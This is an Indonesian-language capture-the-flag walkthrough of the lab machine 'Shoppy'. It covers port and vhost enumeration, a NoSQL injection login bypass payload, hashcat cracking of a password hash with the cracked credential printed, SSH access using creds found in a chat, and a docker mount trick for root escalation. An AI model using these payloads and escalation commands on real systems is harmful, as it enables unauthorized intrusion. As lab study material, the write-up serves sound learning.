# Shoppy

### Port Scanning

```bash
sudo nmap -sV -sT -sC -oN nmap_initial -T4 shoppy.htb
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title:             Shoppy Wait Page        
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Hasil dari port scanning hanya menunjukkan port 80 dan 22. Sambil menunggu full port scan, kita bisa enumerasi directory dan subdomain.

### Directory Scanning

```
ffuf -recursion-depth 3 -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://shoppy.htb/FUZZ -r
......
________________________________________________

login                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 559ms]
admin                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 261ms]

```

### Vhost Discovery

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H "Host: FUZZ.shoppy.htb"
....
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 195ms]
```

Jangan lupa tambahkan subdomain yang kita temukan ke /etc/hosts.

Oke dari enumerasi awal, kita mendapatkan data berikut:

* Open Port: 80, 22
* Admin Page: <http://shoppy.htb/admin>
* Other Subdomain: <http://mattermost.shoppy.htb/>

### Initial Access

NoSQL Injection at Login Page

Setelah beberapa kali melakukan fuzzing dan trial error, saya berhasil masuk ke dashboard admin menggunakan payload berikut:

```
admin'||1==1%00
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F6C1v5uU6LELwfxSLqJk7%2Fsql%20injection.png?alt=media&#x26;token=ae6b2f88-4f77-4b5a-a553-19c8b63e0d7d" alt=""><figcaption><p>NoSQL Auth Bypass</p></figcaption></figure>

Referensi:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/nosql-injection>" %}

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FCOSYQIdo5X645yNFId3C%2Fdashboard%20admin.png?alt=media&#x26;token=e3827f2f-be03-4f22-ba4f-805d16b1586d" alt=""><figcaption></figcaption></figure>

Tidak banyak menu yang bisa di explore. Jadi kita langsung coba cek di menu Search for Users. Kita gunakan payload yang sebelumnya kita pakai untuk masuk.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fe3TXCTcgSoUa2BWZUSqQ%2Fsearch%20sqli.png?alt=media&#x26;token=df5fa620-2c07-45d5-a0a5-5423b98d33bd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fs9EOpZtTa1sqmCJ0IH0M%2Fusername%20lists.png?alt=media&#x26;token=f0f85c05-06e6-4281-99c0-29eec95cd239" alt=""><figcaption></figcaption></figure>

Menggunakan hash-identifier, kita bisa mengetahui jenis hash nya.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F3QGCAeYK0GhB5NfTuQc3%2Fhashid.png?alt=media&#x26;token=00d49909-dbda-48ff-8026-64af72f3d8e2" alt=""><figcaption></figcaption></figure>

Menggunakan wordlist rockyou yang ada di Kali Linux, kita crack dua hash password yang kita dapat sebelumnya menggunakan hashcat.

```
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.lst 
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FDvTTJzcZSIfQw6Df3lnW%2Fhash%20cracked.png?alt=media&#x26;token=5d85d0a9-9927-4596-b7b2-f52e3e0318f3" alt=""><figcaption></figcaption></figure>

Satu password berhasil di crack, yakni password milik **josh**.

```
6ebcea65320589ca4f2f1ce039975995:remembermethisway
```

Kita gunakan kredensial tersebut untuk login ke dashboard Mattermost.

Akses:

* Login: **<http://mattermost.shoppy.htb/>**
* Username: **josh**
* Password: **remembermethisway**

Pada channel Deploy Machine, kita akan mendapatkan history chat yang menampikan kredensial yang dapat kita gunakan untuk login SSH.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FDhEW8njJcDmWeDHMgKhT%2Fjaegar%20creds%20ssh.png?alt=media&#x26;token=3299dfac-acc1-4a51-9b9f-a3a7cc7caee2" alt=""><figcaption><p>SSH Creds</p></figcaption></figure>

### Get User Flag

Login ke server menggunakan kredensial yang didapat sebelumnya.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F04J3zbnaIoiH6HlzwOGG%2Fuser%20pwned.png?alt=media&#x26;token=cf8855a6-8238-4886-af27-f4b04d8ac4ff" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Pertama, jalankan command

```
sudo -l
```

Dan masukkan password user jaegar yang kita dapat sebelumnya.

```
User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager
```

Selanjutnya kita jalankan command

```
sudo -u deploy /home/deploy/password-manager
```

Namun ternyata kita harus memasukkan password.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FH5faIg5XuNwosw6I5jbe%2Fwrong%20password%20manager.png?alt=media&#x26;token=72290bfb-9987-41ae-8318-dc4f072d22ea" alt=""><figcaption></figcaption></figure>

Oke, selanjutnya kita download file password-manager ke mesin kita. Lalu kita coba analisa menggunakan **Cutter**. Tidak diperlukan skill reverse engineering disini (karena ini juga mesin dengan kategori Easy), dan Master Password nya bisa langsung kita temukan karena disimpansecara hard-coded didalam aplikasi.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F7R4ORGNZ9pw9cBb7uBXZ%2Fcutter.png?alt=media&#x26;token=a1c7ad8f-9b74-4a30-b338-053604a97297" alt=""><figcaption></figcaption></figure>

Selanjutnya kita gunakan password yang kita dapatkan dari step sebelumnya untuk mengeksekusi password-manager.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FIAOHIXuigkBqlH6o2LTw%2Fpass%20manager%20leak.png?alt=media&#x26;token=3f71cbc5-0fe9-4eef-874a-0e13b1768d35" alt=""><figcaption></figcaption></figure>

Selanjutnya kita gunakan kredensial tersebut untuk login ke user deploy.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F2iqMG2GZzWUyaznJFZSa%2Fuser%20deploy.png?alt=media&#x26;token=86e3401a-05a4-433f-9c2c-6eba5d01e815" alt=""><figcaption><p>Move to user deploy</p></figcaption></figure>

Saat menjalankan perintah **sudo -l** kita mendapati error

```
Sorry, user deploy may not run sudo on shoppy.
```

Setelah menjalankan LinPEAS, kita mendapati info bahwa docker kemungkinan adalah PE Vector.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fb3nyxMxFgUb1xcV5CEu4%2FDeployDocker%20PE%20Vector.png?alt=media&#x26;token=4ac34e4c-9409-451d-80b7-d991da8cd492" alt=""><figcaption><p>PE via Docker</p></figcaption></figure>

Untuk trick PE via docker, kita bisa cek di GTFObins.

* <https://gtfobins.github.io/gtfobins/docker/>

```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FW1ey5W5NHBM5f8TvbWdH%2Froot%20pwned.png?alt=media&#x26;token=ca54c52c-510e-44e2-af5c-03d535b06cfe" alt=""><figcaption><p>Rooted</p></figcaption></figure>

Oke mungkin itu saja write-up kali ini. Semoga ada yang bisa dipelajari dari writeup mesin Shoppy.
